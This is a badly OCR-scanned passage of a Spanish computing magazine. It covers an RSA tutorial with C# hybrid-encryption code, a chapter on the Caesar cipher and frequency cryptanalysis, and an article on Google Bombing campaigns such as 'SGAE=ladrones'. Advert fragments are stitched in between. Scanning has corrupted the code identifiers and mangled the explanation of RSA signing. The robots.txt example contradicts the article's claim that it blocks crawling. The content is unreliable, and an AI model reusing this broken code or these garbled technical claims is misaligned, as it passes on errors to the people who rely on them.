3.Elegimos e=3
chequeamos gedle, p-1) = ged(3, 10) = 1 (por ejemplo, 3 ¥ 10 no tienen factores en
comiin, excepto 1), y chequeamos gedie, g-1) = ged(3, 2) = 1
entonces ged(e, phi) = ged(e, (p-1)(g-1)) = ged(3, 20) =1
4.Computar d tal que ed ? 1 (mod phi)
por ejemplo, computamos d = e*-1 mod phi = 32-1 mod 20
otro ejemplo es, buscamos un valor para d tal que phi divida (ed-1)
y otro ejemplo, buscamos un valor para d tal que 20 divida 3d-1.
Simplemente probando (d = 1, 2, ...) nos da como resultado d = 7
Probamos: ed-1 = 3.7 - 1 = 20, el cual es divisible por phi.
5.Llave piblica = (n, e) = (33, 3)
Llave privada = (n, d) = (33, 7).

R5A puede también ser usado para autenticar un mensaje. Supongamos que Aliciz
desea enviar un mensaje autentificado a Bob.



Texto ' Texto : Texio
A M Clar Cifrado Cifrado Descifrado Claro B
IS T T

IElmaPﬂv:aﬂalhB

Ella produce un valor hash del mensaje, aumenta la potencia de d? mod n (como
ella hace cuando descifra mensajes), y marca con una “firma” el mensaje.

Cuando Bob recibe el mensaje autentificado, él aumenta la autentificacién para
aumentar e mod n (como hace él cuando cifra mensajes), y compara el resultado
hash con el actual valor hash del mensaje.

Si es el resultado, el conoce que el autor del mensaje estaba en posesién de la
clave secreta de Alicia, y que el mensaje no ha sido tratado de forzar entonces (no ha
sufrido ataques).

Algoritmo de ejemplo
4hora bien, como dije anteriormente, los algoritmos totalmente asimétricos, tienen el
inconveniente de ser muy lentos para el proceso de cifrado y ademds tienen la limita-
cidn de no poder cifrar gran cantidad de datos.
Pero si, es interesante mezclar ambas metodologias, es decir, un algoritmo simétri-
co con otro asimétrico, para poder distribuir la clave usada en el algoritmo simétrico.
Veamos un ejemplo de un algoritmo de la parte receptora de los datos cifrados:

.public clazss miESh
A

3

3= private RSACryptoServiceProvider objRSA = null;

4. public miRSA()

5 {

6. this. objRSA = new RSACryptocServiceProvider (1024);
'.'r ;

g. public string ObtenerLlavePublical)

9. {

10. return this. objRS5A.ToXmlString(false):

131 }

12. public string DesEncriptar(byte[] bytEncriptadeo)

13. {

14. . byte(] keyArray = new byte[ objRSA.KeySize/8);
15, byte([] encrypted = new byte[bytEncriptado.Length
= keyArray.Length]:

16. Array.Copy(bytEncriptado, 0, kevArrayv, 0,
kevArray.Length) ;

17. Array.Copy(bytEncriptado, keyArray.Length,
encrypted, 0, encrypted.Length);:

18, byte[] simKey = this. objRSA.Decrypt (keyArray,
falze);

19. = Leturn MiRijndael.Desencriptar (encrypted,
simEey] ;

20. }

2424

ES INTERESANTE MEZCLAR
AMBAS METODOLOGIAS,
E5 DECIR, UN ALGORITMO
SIMETRICO CON OTRO
ASIMETRICO, PARA PODER
DISTRIBUIR LA CLAVE
USADA EN EL ALGORITMO
SIMETRICO
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Veeremos que se trata de una clase propia, llamada miRSA,
]|a cual, utiliza 1024 bits de cifrado, como podemos verlo, en la
inea 6.

Podemos ver el método mds importante, llamado DesEncrip-
tar, que comienza en la linea 12. A éste método se le pasa un
arreglo de bytes cifrados.

En la linea 14, se establece el tamanio del arreglo de la
clave del algoritmo. Se trata, de la clave dividida por 8, con lo
que1024/8 nos da: 128 bytes.

El arreglo de bytes de la linea 15, se crea del tamaiio de los
datos encriptados menos de la longitud de la clave, es decir res-
tando 128 bytes.

Luego, en las lineas 16 y 17, se copia el arreglo bytEncripta-
do, a encrypted utilizando como cantidad de datos a copiar, el
tamano de la clave.

Luego, se crea un nuevo arreglo llamado simKey, donde se
almacenara la clave del algoritmo simétrico. Para eso, se utiliza
el método Decrypt, de RSA, de esta forma, ya estamos en con-
diciones de poder desencriptar los datos finales del proceso.

Para la etapa final se utiliza el algoritmo Rijndaef, Como se
habran imaginado, es el algoritmo simétrico. Se invoca al mé-
todo Desencriptar del objeto MiRijndael, pasindole el arreglo
encrypted, v la clave simkey.

Ahora miraremos el cédigo del cliente:

1.miRSA objKey = null;
2. objKey = new miRSA();
3.byte[] bytEncriptado = null;

El objeto miRSA se crea con un null, con lo que luego se
llama al método miRSA, credndolo. En la tercera linea se crea
el arreglo en null, que llevard posteriormente los datos encrip-
tados.

1.RSACryptoServiceProvider objEncriptadeorPublice
= new RSACryptoServiceProvider();

2. objEncriptadorPublico.From¥mlString(this.
objKey.0ObtenerLlavePublica());

Encriptar
clave publica

Kpup

Usuario A . i
Usuario C . i

@ e

Transmision

Aqui arriba creamos una instancia del encriptador publico,
y luego en la segunda linea le asignamos la llave generada.

l.byte[] bytKey = (Rijndael.Create()).Key:
2.byte[] _bytEncriptadcoSimetrice = MiRijndael.
Encriptar (TEXTO QUE QUIERC ENCRIPTAR, bytKey);

Bien, luego aqui arriba, en la linea 1, se declara la memoria
para almacenar la llave utilizada por nuestro Rijndael persona-
lizado y en la linea 2, se encripta el texto y se obtiene la llave
que se utilizd para la encriptacién

1.byte[] _bytEncriptadoLlave =
objEncriptadorPublico.Encrypt (_bytKey, false);
2. bytEncriptade = new byte[ bytEncriptadcLlave.
Length + bytEncriptadoSimetrico.Length];

3. bytEncriptadollave.CopyTo( bytEncriptads,();
4. bytEncriptadoSimetrico.CopyTo( bytEncriptado,
_bytEncriptadolLlave.Length);

Luego en este trozo de cadigo, en la linea 1, se encripta la
llave con el algoritmo RSA y en las lineas 2 y 3, se copia en un
arreglo la llave encriptada y el encriptado de Rijndael.

1.this. cbjKey.DesEncriptar( bytEncriptado);

Para desencriptar se utiliza el arreglo de bytes obtenido mas
arriba. Esta funcién no debiera ser pdblica. S6lo lo es aqui para
explicarlo mejor.

Planteamiento de Casos

1? caso: cuando un usuario, A, quiere enviar informacién a otro
usuario, B, utiliza la clave publica de B (KpuB) para encriptar
los datos.

El usuario B utilizard su clave privada (gue sélo él conoce)
(KprB) para obtener el texto en claro a partir de la informacidn

Desencriptar
clave privada
Kprg

~ou

Usuario B




Encriptar
clave privada

Usuario B

encriptada) recibida. 5i otro usuario, C, quiere enviar informa-
cion al usuario B, también empleard la clave piablica (KpuB).

Este modo se puede emplear para proporcionar el servicio
de confidencialidad, porque solo el usuario B es capaz de des-
cifrar los mensajes que los usuarios A y C le han enviado.

2° caso: es el usuario B quien encripta la informacion uti-
lizando su clave privada, (KprB) de forma que cualquiera que
conozca (KpuB) podra descifrar la informacion transmitida.

De esta forma se puede emplear para proporcionar el servicio de
autenticacion, ya que la obtencidén del texto en claro a partir del tex-
to cifrado es una garantia de que el emisor del mensaje es el propie-
tario de (KpuB) (légicamente, para saber que el mensaje obtenido de
la desencriptacion del texto cifrado es el texto en claro original, éste
s¢ ha de obtener por otros medios para realizar la comparacidn).

Esto es la base de las firmas digitales.

La firma digital es el instrumento que va a permitir (entre
otras cosas), determinar de forma fiable si las partes que inter-
vienen en una transaccidn, son realmente las que dicen ser, y si
el contenido del contrato ha sido alterado o no posteriormente.

Encriptar

Transmision

Transmision

0
Desencriptar
clave publica
Kpug
Usuario A

Usuario C

Conclusion
Bien amigos, hemos dado un paso importante, hemos anali-
zado un poco de cidigo de ejemplo, de como podemos ci-
frar y y generar las claves, empleando criptografia asimétrica.
Vimos también para qué sirven, y que no reemplazan a
los simétricos, hasta hoy en dia no lo han hecho, sino que
son un complemento ideal para éstos. Los algoritmos simétri-
cos siguen siendo mas fuertes y rapidos.
Asi entramos en el mundo de las firmas digitales, podre-
mos meternos mds en ese mundo en el préximo ndmero.
Espero que les haya gustado tanto como a mi.

Spark
http://www.intrabytes.com
http://www.disidents.org
spark@disidents.org
arielrm@intrabytes.com

Desencriptar




Sistemas mono alfabeticos
/ mono gramicas
(Cifrado del César)

En este segundo capitulo veremos los sistemas mono alfabéticos / mono gramicos basandonos en
el llamado “cifrado del César”, quizas el ejemplo mas conocido de este tipo de sistemas. Ademas
veremos como realizar un ataque a este tipo de sistemas y algunas de sus variantes o mejoras.

$Qué quiere decir mono alfabético y mono
gramico?

Un sistema mono alfabético es aquel que utiliza un solo alfabe-
to para realizar el cifrado del mensaje. En el caso del cifrado del
César, era el mismo alfabeto que el del mensaje en claro. Aqui
lo explicaremos con el alfabeto espaniol en médulo 27, es decir,
|las letras maydsculas de A-Z.

Con mono gradmico nos referimos a un sistema en el cual un
Unico cardcter del mensaje en claro se corresponde con un (ini-
co cardcter del alfabeto de cifrado.

Cifrado del César. Introduccién

El cifrado del César se trata de unos de los sisternas mds anti-
guos, atribuido al emperador romano Julio César.

Se trata de un sistema por sustitucion, en el cual un caricter
del mensaje en claro se sustituye por un caricter del alfabeto de
cifrado.

El alfabeto de cifrado se obtenia realizando un desplaza-
miento de 3 unidades sobre el alfabeto normal, es decir, queda-
ria del siguiente modo:

UN SISTEMA MONO ALFABETICO ES AQUEL
QUE UTILIZA UN SOLO ALFABETO PARA
REALIZAR EL CIFRADO DEL MENSAJE

Aplicando este alfabeto sobre un mensaje obtendriamos el
siguiente criptograma:

M ESTO E5 UN EJEMPLO DE CIFRADO
c HVWHH WVEQHM HPSOR GHFLI UDGR

Como se puede apreciar se trata de un sistema muy simple
pudiendo ser atacado con simples estadisticas del lenguaje o
incluso por fuerza bruta probando las posibles combinaciones,
en este caso 26, ya que la 27 nos devolveria un alfabeto igual al
del texto en claro.

Cifrado con clave

Para aumentar la seguridad del sistema se puede dotar al alfabe-
to de cifrado con una clave, de tal modo que el alfabeto de ci-
frado no quede de una forma correlativa, sino mds bien de una
forma aleatoria definida por la clave.




Como podemos ver, si tenemos una clave K = CLAVE y un
desplazamiento igual a 3, podemos abtener el siguiente alfabe-
to de cifrado:

CRIPTOGRAFIA CLASICA

Se coloca la clave en el inicio del desplazamiento v se
completa con el resto de caracteres a continuacion de la clave,
los que no cojan se pondrin finalmente antes de la clave, en
este caso serdn los 3 Gltimos restantes caracteres. Quedaria fi-
nalmente del siguiente modo:

Aplicando este alfabeto sobre un mensaje anterior obten-
driamos el siguiente criptograma:

o | ESTO ES UN EJEMPLO DE CIFRADO
c LOPJL OQILD LHEGJ CLZBA NXCJ

Como hemos dicho anteriormente, este sistema aumenta
la seguridad del algoritmo, ya que aumenta la distancia de
unidad de los caracteres, al repartirse semi-aleatoriamente en
funcidn de la clave, pero aun asi el sistema puede romperse fi-
cilmente con estadisticas del lenguaje, ya que sigue existiendo
una correspondencia fija entre un Gnico cardcter del alfabeto
en claro y un dnico caracter del alfabeto de cifrado.

Entropia y redundancia del lenguaje

Antes de explicar este concepto, debemos comprender el con-
cepto de “Cantidad de Informacidon®.

Se define “cantidad de informacién” a las probabilidades
gue pueden asignarse a cada uno de los componentes de un
sistema, es decir, las combinaciones posibles que constituyen
un nimero de estados diferentes del sistema.

Por lo tanto, el conocer que la letra “N” existen dentro
de un criptograma quizds nos aporte mucha mds cantidad de
informacién que conocer el niimero de repeticiones de la letra
“E", pues esta Gltima es mucho méds comin y por lo tanto nos
seria mas dificil conocer la procedencia del mensaje.

For “entropia” se conoce a la cantidad de desorden dentro
de un sistema, dependiendo de esta cantidad de desorden se
puede conocer si el proceso es irreversible o no. Esta cantidad
de desorden puede venir definida por un algoritmo, una clave,
etc., mediante la cual el proceso puede ser reversible.

La suma ponderada de todas las cantidades de informacidn
de todos los posibles estados de los componentes de un siste-
ma se conoce como la “entropia” de dicho componente.

Por lo tanto, y como dijimos anteriormente, cuanto mis
probable es un estado, menor informacién nos dard. Esto hace
posible el poder enviar (o leer) mensajes enviando menor nii-
mero de caracteres, y esto forma parte de la redundancia del

String sql = "INSERT INTO users
(Logtn, pass, rol, creatiow._date)
VALWES (2,2, 2. 2)');

PreparedStatement stw =
connsction.preparestatement (sql);

stwa.setString (1, user.getLogin());
stnsetsString (...

No escribas el cddigo de acceso a datos a mano.
Es repetitivo, aburrido y propenso a errores.

Genera la capa de persistencia de tu aplicacion
en minutos. Asi de sencillo,

Java (Jdbc, Hibernate, JPA, Spring DAQ....),
PHP, .Net, Python,...

http://wwwe.ribesoftware.com




lenguaje, gracias a ello podemos leer un
mensaje aunque le falten algunos carac-
teres de los mds redundantes. O dicho de
otro modo, de los que menor cantidad de
informacién nos aporten, es algo similar
a la actual comunicacién via sms en la
que los jévenes omiten algunos caracte-
res para enviar mayor cantidad de infor-
macién en el mismo espacio, y al final el
mensaje puede ser interpretado de igual
modo que si se enviase completo).

Criptoanalisis de sistemas por
sustitucion

Visto lo anterior, v teniendo en cuenta
que en nuestro alfabeto, con 27 caracte-
res, solo son posibles 26 combinaciones
de alfabetos, ya que el 27 seria el propio
alfabeto en claro, obtendriamos una en-
tropia que viene definida por la siguiente
ecuacion:

H(E) = log2(26) = 4,70

Si ademds tenemos en cuenta que la
redundancia (D) de nuestro idioma es D
= 3.4, diriamos que la cantidad minima
necesaria de informacién para realizar un
criptoandlisis es la siguiente:

N=H(K)/D = 4,70 /f 3,4 =
1,38

POR “ENTROPIA”
SE CONOCE A LA
CANTIDAD DE
DESORDEN DENTRO
DE UN SISTEMA

Por lo tanto se necesitan como mini-
mo 2 caracteres para poder romper un
cifrado de estas caracteristicas.

Para cifrados sin clave la forma mds
elemental seria coger un pequeno tro-
zo de criptograma e ir probando los 26
posibles alfabetos de cifrado y alguno
de ellos nos dard el texto en claro,
teniendo la distancia de unidad, el
descifrado del criptograma se hace un
juego de nifnos.

Este tipo de cifrado presenta un ni-
vel de seguridad minimo, ademads, un
desplazamiento igual a 0 o mdltiplo de
27 seria igual que transmitir en claro,
por lo tanto se cuenta Gnicamente con
26 posibilidades, las cuales con un
simple programa para PC puede rom-
perse en pocos segundos.

Fara este tipo de sistemas, existe una
forma matematica tanto para el cifrado
como para el proceso inverso, que vienen
definidas por:

Megamultimedia. Paseo de Reding, 43, 1° izqda - 29016 Malaga -TIf: 902 36 57 61 '

HOJA DE PEDIDO

O Suscripcién a 6 nim. x 4,95€ = 24.75€

Cix) = (x + b) mod n

Mix) = (x - b) mod n

Considerando X el nimero
(A=0,Z=27) del caracter cifrado o en cla-
ro, b el desplazamiento del sistema y n el
numero de caracteres que tenemos en el
alfabeto empleado.

En el caso de cifrado con clave el
sistema anterior no es vdlido ya que el
desplazamiento va condicionado por la
clave y deja de ser constante.

Una forma de atacar un sistema de
estas caracteristicas con clave se basa en
las estadisticas del lenguaje, ya que con
muchas posibilidades, el caracter mas
frecuente del criptograma sea el cardcter
mas frecuente del lenguaje en el que se
ha transmitido, ya que incluso con clave,
las frecuencias siguen siendo constantes
con el lenguaje empleado.

Para un sistema como el explicado
en esta ocasion, cifrar recursivamente el
mensaje varias veces no sirve de nada,
ya que cifrar un mensaje con un despla-
zamiento A, y posteriormente con un
desplazamiento B equivale a un despla-
zamiento A+B, lo cual puede romperse
de igual forma que para un desplaza-
miento A o B.
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O Suscripeion a 12 num. x 4,95€= 49.50€
(Gastos de envio: 6€)
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Hace algunos anos saltaba a la palestra un tipo de “ataque social” llamado Google Bombing me-
diante el cual, a base de asociar miiltiples veces un término o texto con un enlace en una web,
se conseguia hacer aparecer dicho enlace en las primeras posiciones de los resultados de bus-
queda de Google. Entre sus victimas mas ilustres Microsoft, George Bush o, mas recientemente,

el polémico y popular caso SGAE=ladrones...



Google lleva varios anos liderando el
mercado de los buscadores en Internet,
destacando por su velocidad y acierto en
la mayoria de los casos gracias, en parte,
al acertado disefio de su algoritmo de
bisqueda, a la popularidad de su austera
herramienta y a su sistema de posiciona-
miento denominado Page Rank.

Todo ello ha permitido que millones
de usuarios y empresas, que antes conta-
ban muy poco de cara a los resultados de
una basqueda, comiencen a aparecer en
lugares relevantes, el secreto del éxito en
la red. Y es que si deseas llegar a muchos
usuarios y solo apareces en la pigina 25
de resultados, olvidate de ser popular en
Internet. Es entonces cuando llega la hora
de plantearse la cuestion de como situar-
se en las primeras posiciones. Aunque
existen varios métodos de pago que pro-
meten este tipo de servicios, hace unos
anos aparecid, mezcla de un sentimiento
de rebeldia social unida una pizca de
picaresca tecnoldgica (y aprovechando
el sistema de posicionamiento de Go-
ogle), un sistema mediante el cual era
posible asociar determinados términos,
normalmente peyorativos, a una empresa
o entidad, de manera que aparecieran
directamente relacionadas al realizar
una busqueda. Un sistema reivindicativo
poco ortodoxo pero que resultd muy po-
pular y que fue bautizado como Google
Bombing.

Preparados, listos,
bombardeen

De manera resumida se trata de conse-
guir que una determinada pégina web
aparezca, en la bisqueda de una o varias
palabras concretas, en la primera posi-
cion de los resultados de Google. Se trata
de la misma técnica que se utiliza en el
posicionamiento web, pero con una rei-
vindicacion social o politica de fondo.

El método es sorprendentemente sen-
cillo. Parte de un promotor que pide a la
comunidad internauta que desee partici-
par (responsables de otro sitio webs, blo-
ggers, etc.) que inserten en sus paginas
un cédigo especifico. Hecho que, unido
a la misma accién de miles de internau-
tas, conseguird el efecto deseado.

En concreto se trata de incrustar en el
codigo de nuestra pdgina un enlace de la
forma:

<A href="http:/furl de la
pagina“>palabra o frase</A>

El Google Bombing (a veces también

TECNOLOGIA

BEOMBARDEANDO EL ALGORITMO DE GOOGLE

llamado Link Bombing) en si mismo no
dejaria de ser una iniciativa testimonial
mds si no fuera por que se aprovecha del
pilar sobre el que esta basado el potente
buscador, los enlaces, utilizando en su
beneficio el algoritmo de clasificacién de
Google, el FageRank. Cuantos mas enla-
ces obtenga una determinada pagina con
una palabra (o términos) en concreto,
mds posibilidades tendrd de aparecer en
las primeras posiciones. Se trata de pre-
miar a las paginas mds populares (que no
mads visitadas, aunque muchas veces va-
yan de la mano), esto es, las mds mencio-
nadas y enlazadas de la red. En definitiva,
cuanto mas se hable de ti, mejores resul-
tados obtendrds en el ranking de bisque-
das (hasta pueda darse el caso paraddjico
de que dentro de la pigina web objetivo
del Google Bombing no aparezca ni una
sola vez las palabras de la bisqueda).
Puesto que requiere de la colabo-
racidn de miles de personas con una
misma causa, es muy poco probable que
alcance el éxito con una iniciativa de
caracter privado, por lo que el impacto
medidtico obtenido hasta ahora ha sido
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por su uso en asuntos de indole social,
normalmente por temas de cardcter poli-
tico o popular que adquieran la relevan-
cia suficiente.

El objetivo parece bien claro: asociar
e identificar a la pagina web victima del
Google Bombing con una palabra dada.
S.E?uramente uno de los casos mds po-
pulares a nivel mundial y que ademds
nos toca directamente, haya sido el de la
“SCAE=ladrones”, un caso que levantd
ampollas entre la entidad espaniola de
gestion de derechos de autor ya que apa-
recia como primer resultado del buscador
cuando se escribia el término “ladrones”.
El asunto llegd a las primeras planas de
los medios de comunicacién.

5i tu pdgina ha sido afectada por una
bomba Google, puedes evitarlo con el
siguiente codigo HTML:

<meta name="googlebot™
content="noindex, nofollow"
£

Pero ten en cuenta que no debe usar-
se este cadigo en condiciones normales
va que hard que la web no aparecerd en
los resultados de bisqueda de Google.

Vete al infierno

El caso de Microsoft ocurrido en 1999
es probablemente el primero reconoci-
do en donde se implement6 el Google
Bombing. Algunos usuarios descubrieron
que la basqueda «more evil than Satans
(«mds diabdlico que Satands»), enviaba
a la web oficial de Microsoft, una em-
presa gue, es bien sabido, genera cierta
animadversion en un gran sector de la
poblacién internauta. Ya en el 2002, al
buscar las palabras “go to hell” (“vete al
infierno”, en inglés) volvia a aparecer co-
mo primer resultado la misma web.

Al hacerse piblico, muchos fueron
los que se preguntaron cémo habia po-
dido superar Microsoft a la pagina Hell.
com (infierno.com) en el ranking de
biisquedas de los términos "go to hell".
Algunos apuntaron a que podria deberse
al método que empleaba Google para
conseguir resultados por medio de su
"andlisis de enlaces" y acertaron. El bus-
cador mostraba los resultados, no sélo en
base a las webs que contenian esa pala-
bra, sino también en funcidn de otras que
estaban enlazadas a la palabra o frase en
cuestion (ya no era necesario que la pagi-
na en cuestion pudiera contener la frase
“go to hell”).

Sin embargo, Microsoft no fue el ni-

co que sufrid las consecuencias puesto
que otras empresas como la web de Ame-
rica Online y la de Walt Disney también
aparecian dentro de los cinco primeros
resultados de la misma bisqueda. Nacia
pues el Google Bombing y se marcaba

el inicio de una época en la que muchos
fueron conscientes de lo sencillo que po-
dia ser “enganar” a Google.

Poco después, el 27 de noviembre
del 2003, el weblog www.blah3.com/gra-
ymatter/ (ya no estd operativo) propuso
un Google Bombing contra el presidente
norteamericano George Bush. Citaban
textualmente:

“A partir de este dia, me referiré a
Ceorge W. Bush como un Miserable Fra-
caso al menos una vez al dia”

 DESCUBRIERON QUE LA
BUSQUEDA «MORE EVIL THAN
SATAN» («MAS DIABOLICO
QUE SATANAS»), ENVIABA
A LA WEB OFICIAL DE
MICROSOFT

El autor de la iniciativa pretendia con
esto incluir un enlace hacia la web de
la Casa Blanca con el texto “Miserable
Failure” (“Miserable Fracaso”) y animaba
a otros usuarios a hacer lo propio. Al po-
co, si se buscada en Google las palabras
“miserable failure” aparecia en primer lu-
gar la web de la Casa Blanca aunque en
ningun caso este texto apareciera como
parte del contenido de su pigina web.
Como dato curioso, destacar que la frase
“George Bush es un miserable fracaso en
politica exterior” fue pronunciada unas
semanas antes por Dick Gephardt, candi-
dato demdcrata en las elecciones a cele-
brar en 2004. Gephardt tenia registrado
el dominio “amiserablefailure.com”.

Ya en abril del 2004 se destapd un
caso que toco la sensibilidad de muchos.
Al buscar la palabra “judio” en inglés
(“jew”) en Google, surgia en primera
posicion la web de *'jewwatch.com”, un
sitio considerado como antisemita. Tal
fue el revuelo por este ataque de Google
Bombing (la tomunidad judia en los Es-
tados Unidos es especialmente poderosa)
que la empresa norteamericana respon-
sable del buscador - v cuyo cofundador
y presidente también es judio - tuvo que
hacer piblico un comunicado, que enla-
z6 ademds desde la pagina de resultados

en forma de AdWords (publicidad inte-
grada en las bisquedas).

Ese mismo afo el fendmeno comenzd
a extenderse por el resto del mundo v, al
igual que le ocurriera al presidente de los
EEUU, al de Ecuador y al de Dinamarca,
los detractores del presidente espanal,
José Luis Rodriguez Zapatero, aprovecha-
ron la popularidad del buscador Google
para lanzar una campana contra €l inten-
tando desprestigiarle. Gracias a la ripida
propagacion de la iniciativa a través de
diversos blogs en espafiol, un nuevo
Google Bombing se puso en marcha,

y el sitio web oficial de la campafia de
Zapatero en 2004 (http:/fwww.zapatero-
presidente.com/) aparecia en los primeros
lugares al buscar la palabra “gafe”. En la
actualidad la palabra “gafe” y “Zapatero”
sigue en primer lugar aunque el enlace
dirige hacia otra web.

Pocos son los casos en los que los
afectados han tomado medidas contra
aquellos que defendian o impulsaban
el Google Bombing. La primera de ellas
ocurrit en Espana cuando la SGAE de-
nuncid al blogger Julio Alonso con el
tinico objetivo de eliminar una pagina
web de los resultados del buscador web
de Google. En el otro caso a destacar es
el de un ciudadano polaco de 23 afios
llamado Marek W. de Ciezyn que ha sido

* detenido por las autoridades de su pais

por “insultar al presidente Lech Kaczyns-
ki” (segin cuenta Philipp Lenssen en su
blog). Este joven consiguid que la pagina
oficial del Primer Ministro apareciese en
la primera posicién del buscador web de
Google al consultar la palabra “kutas”
(“pene”, en su alocucion mds politica-
mente correcta), tras lo cual la Policia po-
laca le localizé a través de su direccion
IP. El detenido ha asegurado que simple-
mente trataba de demostrar sus habilida-
des de programacidn informatica creando
una herramienta para situar una web en
la primera posicion de Google. Piden 3
afos de carcel.

Otros casos de Google Bombing que
han dado resultado son:

- Worst president - George Bush

- Great president - George Bush (tam-
bién;?)

- Petrolero Prestige

- John Kerry - “waffles” (las waffles
son los famosos gofres o crepes, pero “t
waffle” también significa “cambiar de
opinién” o “no definirse completamente
en un asunto”)

- “jew” ("judio”)

- Jacques Chirac - “magouilleur”
(“manipulador' en francés”)
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La Web

Imdgenes Noticias
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Acceder
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Bisqueda: @ laWeb O paginas en espafiol O p4ginas de Espafia

La Web

ladrones

Resultados 1 - 10 de aproximadamente 4.620.000 de ladrones. (0,08 segundos)

Sinopsis, trailer, informacidn, fotos y descargas en la pagina de la pelicula espafiola
protagonizada por Juan José Ballesta y Maria Valverde.

. ladrones.org/ - 3k - En ca

eneral de Autores y Editores

uskera ...

GENERAL DE AUTORES Y EDITORES. SGAE Responde, slogan. ;Qué
0s? Dénde Estamos - Grupo SGAE. |dioma. Castellano, Catala, Chinese, English,

www.sgae.es/?ladrones - 16k - En caché - Péginas similares

W, Sgae. e

Sociedad General de Autores y Editores
1998 llegaria el que muchos consideran su mejor entrega, ;Dénde estan los ladrones
nsiguid vender varios millones de copias. ...
oticefitem/es/1473.html - 5k - En caché - Paai

L A DIITACA | adesmas

Spse af rulde montado la SQAE sigoe apaveciends al buscarse Ly paisbra ‘Ladrones’,

- Jan Peter Balkenende - “raar kapsel”
‘extrafno corte de pelo’, en danés™)
- El principe holandés Willem-Alexan-
der para la basqueda slechte tanden
“dientes malos”), debido a su mal cuida-
da dentadura.
- Microsoft Internet Explorer - “inse-
cure” .
- Bastards - SCO group
- Leave now - Disney

La SGAE, otra vez...

El viernes 23 de abril de 2004 a las
01:26, Julio Alonso posteaba en su blog
‘Merodeando lo que ha sido posiblemente
uno de los mayores dolores de cabeza de
la SGAE en los dltimos afios y el que es
el caso mds popular de Google Bombing
en Espafia. El titulo del post dejaba claro
el contenido tratado: “SCGAE = ladrones”,
Al poco tiempo, al escribir la palabra
“ladrones” en el buscador, aparecia co-
mo primer resultado la pagina web de la
Sociedad Espafiola de Autores.

La SGAE atact directamente a Go-

ogle acusando incluso al buscador de
“fascista” (segln palabras de su presi-
dente, Teddy Bautista, jque incluso llegt
a comparar este ataque con el problema
de la pornografia infantil!) y haciéndole
directamente responsable (y de forma vo-
luntaria) de que aparecieran dichas refe-
rencias despectivas contra la Asociacion,
desvirtuando ademas el poder de la masa
social que ha venido criticando continua-
mente su comportamiento. Probablemen-
te el sefior Bautista, especialista en hacer
amigos, se informara erréneamente en su
momento como también lo hizo el diario
vasco “El Correo” que aseguraba en un
principio que habia sido la propia Go-
ogle quien habia organizado el ataque de
Google Bombing contra la SGAE.

Hoy en dia se sabe con certeza que
esta campaiia tuvo como origen la mul-
titud de usuarios espanoles que se mues-
tran en contra del pago de un canon a la
SGAE cada vez que se compre un soporte
de almacenamiento digital. Y es que
poco tiempo después del post de Julio
Alonso, cientos, quizds miles, de piginas

EL DIARIO VASCO “EL
CORREO” ASEGURABA EN UN
PRINCIPIO QUE HABIA SIDO LA
PROPIA GOOGLE QUIEN HABIA
ORGANIZADO EL ATAQUE DE
GOOGLE BOMBING CONTRA LA
S5GAE
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AL JUZGADO DE PRIMERA INSTANCIA DE LOS DE MADRID
QUE POR TURNO CORRESPONDA

D. JOSE MARIA MURUA FERNANDEZ, Procurador de los Tribunales,
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DEMAKDA DE PROTECCION DEL DERECHO AL HONOR contra D. Julio
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se hacian eco de este titular en el ataque
de Google Bombing mds importante
nuestro pais (actualmente puede verse
en su post como ha sido la denuncia ju-
dicial).

Para evitar que el post apareciese en
las primeras posiciones de la citada bis-
queda, la SGAE empled la via judicial pa-
ra modificar los resultados del buscador
de Google sabiendo que la empresa ame-
ricana suele eliminar automdticamente
los enlaces a cualquier sitio web una vez

@86

que existe cualquier demanda judicial
referente a ellos.

Sin embargo hay que destacar que
esto no evita que sigan apareciendo re-
sultados “incémodos” para la SGAE ya
que lo que no se puede cambiar es la na-
turaleza intrinseca de los buscadores que
ordenan la informacién en funcién de las
valoraciones de los usuarios de Internet.
Las primeras posiciones de los resultados
no dependen de |a opinién de los respon-
sables del buscador (lo que la convertiria

en dictadura electrénica), si no de las
de aquellos que quieren participar en su
clasificacién. Puesto que actualmente,
las posturas de los usuarios de la red son
bastante contrarias a la politica que lleva
a cabo la SGAE, es légico que se refleje
en los buscadores de informacién.

Es no quita que si realizas una bus-
queda en Google con el término “ladro-
nes” descubras en la parte inferior de la
pdgina de resultados el texto:

“En respuesta a un requisito legal
enviado a Google, hemos eliminado 2
resultado(s) de esta pdgina. Si lo desea,
puede leer mds informacién sobre es-
te requisito en ChillingEffects.org.”. El
enlace nos lleva a “chillingeffects.org”,
el sitio web que sirve de depositario de
las denuncias relacionadas, sobre todo,
con derechos de autor que en un texto
en inglés expone escuetamente “Spanish
defamation complaint to Google. The no-
tice is not available” (demanda espaiiola
por difamacién a Google. El aviso no estd
disponible).

En esta linea la SGAE ya ha tomado
medidas tecnolégicas que eviten proble-
mas de esta indole en el futuro. Para ello,
aunque sea tras varios afos, ha insertado
un fichero robots.txt (http:/iwww.sgae.es/
robots.txt) en su pdgina. Los contenidos
de este fichero son:

User-agent: * L]
aplicable a todos
Dizallow: # permite

la indexacion de todas las
paginas ;

Con ello se impide a todos los robots
de todos los buscadores rastrear ningin
documento del dominio “www.sgae.
es” excluyendo de los resultados del
buscador web de Google las paginas que
aparecen en primeras posiciones para la
consulta de “ladrones”.

Eso no quita que, en un principio vy
a pesar de que los responsables del sitio
web de la SGAE eran conscientes de que
el uso de un fichero “robots.txt” seria
muy apropiado para ataques Google
Bombings, prefirieron acusar a Google de
las opiniones de los usuarios, enviando
incluso denuncias a algunos bloggers.

Este caso sigue haciendo correr rios
de tinta y con toda seguridad volveremos
a oir hablar de él ya que entran en liza
varios factores muy interesantes como e
derecho a libertad de expresitn, el pode:
de la masa social o la evolucidn de las
nuevas tecnologias. De momento, si bus
camos el término “ladrones” en Google



aparece en segunda posicidn la pagina
web de la SGAE.

Wikipedia: escenario de una

guerra silenciosa

indudablemente, la enciclopedia libre
conocida como Wikipedia es, por dere-
cho propio, uno de los sitios web de mds
éxito de la red de redes, un hecho que
genera a su vez un circulo vicioso que la
retroalimenta debido al excelente posi-
cionamiento que sus paginas tienen den-
o de los resultados del buscador web de
Google. Muchos creadores de contenidos
web (sobre todo bloggers) no dudan en
enlazar a los articulos de la Wikipedia
cada vez que quieren que los lectores
sepan algo mas sobre determinado tema,
lo que provoca que la relevancia que le
otorga Google a dicho articulo aumente
unido a los enlaces internos y a la con-
fianza que el dominio “wikipedia.org” ha
conseguido para Google) en una espiral
de popularidad que le permite situarse en
los primeros puestos. Sin embargo, esta
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EOMBARDEANDD EL ALGORITMO DE GOOGLE

situacion de populismo virtual no es del
agrado de muchos webmasters que ven
como los articulos de la Wikipedia se
